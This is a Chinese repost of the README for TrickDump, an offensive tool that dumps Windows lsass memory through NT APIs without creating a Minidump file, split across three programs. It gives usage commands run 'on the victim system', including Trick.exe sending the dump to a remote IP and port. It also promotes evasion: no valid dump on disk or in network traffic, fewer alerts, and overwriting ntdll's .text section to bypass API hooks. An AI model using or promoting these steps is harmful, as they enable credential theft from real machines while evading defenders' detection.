特技转储
TrickDump 转储 lsass 进程而不创建 Minidump 文件,而是生成 3 个 JSON 和 1 个包含内存区域转储的 ZIP 文件。分为三步:
-
锁定:使用 RtlGetVersion 获取操作系统信息。
-
Shock:使用 NtOpenProcessToken 和 NtAdjustPrivilegeToken 获取 SeDebugPrivilege 权限,使用 NtGetNextProcess 和 NtQueryInformationProcess 打开句柄,然后使用 NtQueryInformationProcess 和 NtReadVirtualMemory 获取模块信息。
-
Barrel:获取 SeDebugPrivilege 权限,打开句柄,然后使用 NtQueryVirtualMemory 和 NtReadVirtualMemory 获取信息并转储内存区域。
在攻击系统中,使用create_dump.py脚本生成Minidump文件:
python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE]
该技术的好处是:
-
磁盘、内存或网络流量中永远不存在有效的 Minidump 文件。
-
执行整个攻击的并不是一个单一的程序或进程,而是三个独立的程序或进程,因此可能引发较少的警告。
-
如果您只想运行一个程序,则可以使用Trick。
-
如果您已经掌握目标机器操作系统的信息,则可以跳过第一步(“锁定”)。
-
该程序仅使用 NTAPIS(该项目是NativeDump的变体)。
-
它不使用 OpenProcess 或 NtOpenProcess 来获取具有PROCESS_VM_OPERATION和PROCESS_VM_WRITE访问权限的 lsass 进程句柄。
-
每个程序都允许覆盖 ntdll.dll 库“.text”部分以绕过 API 挂钩:
-
“disk”:使用磁盘上已有的 DLL。如果不使用第二个参数,则路径为“C:WindowsSystem32ntdll.dll”。
-
“knowndlls”:使用 KnownDlls 文件夹。
-
“debugproc”:使用在调试模式下创建的进程。如果不使用第二个参数,则进程为“c:windowssystem32calc.exe”。
它有五种口味:
-
.NET:主分支
-
Python:python-flavour 分支
-
Golang:golang-flavour 分支
-
C/C++:c 风格分支
-
BOF 文件:bof-flavour 分支(正在进行中!)
如果启用了 PPL,它将不起作用,PEB 结构不可读或者二进制文件未编译为 64 位。更新:现在可以不读取 PEB 来执行程序,请检查peb-unreadable 分支:)
用法
该程序在受害系统中执行,创建三个 JSON 文件(包含内存区域信息)和一个 zip 文件(包含每个内存区域转储)。
Lock.exe [disk/knowndlls/debugproc]
Shock.exe [disk/knowndlls/debugproc]
Barrel.exe [disk/knowndlls/debugproc]
您可以直接执行程序,而无需覆盖 ntdll.dll 库:
或者使用以下三种不同的覆盖技术之一:
然后生成Minidump文件:
如果您只想执行一个二进制文件,Trick.exe 将生成一个包含 3 个 JSON 文件的 ZIP 文件和带有内存区域的 ZIP 文件:
Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT]
或者使用第二和第三个参数作为 IP 地址和端口将其发送到远程端口:
在这两种情况下,您都会得到一个像这样的 ZIP 文件,解压缩它并创建 Minidump 文件:
项目地址:
https://github.com/ricardojoserf/TrickDump
原文始发于微信公众号(Ots安全):TrickDump - 仅使用运行 3 个程序的 NTAPIS 转储 lsass 以创建 3 个 JSON 和 1 个 ZIP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论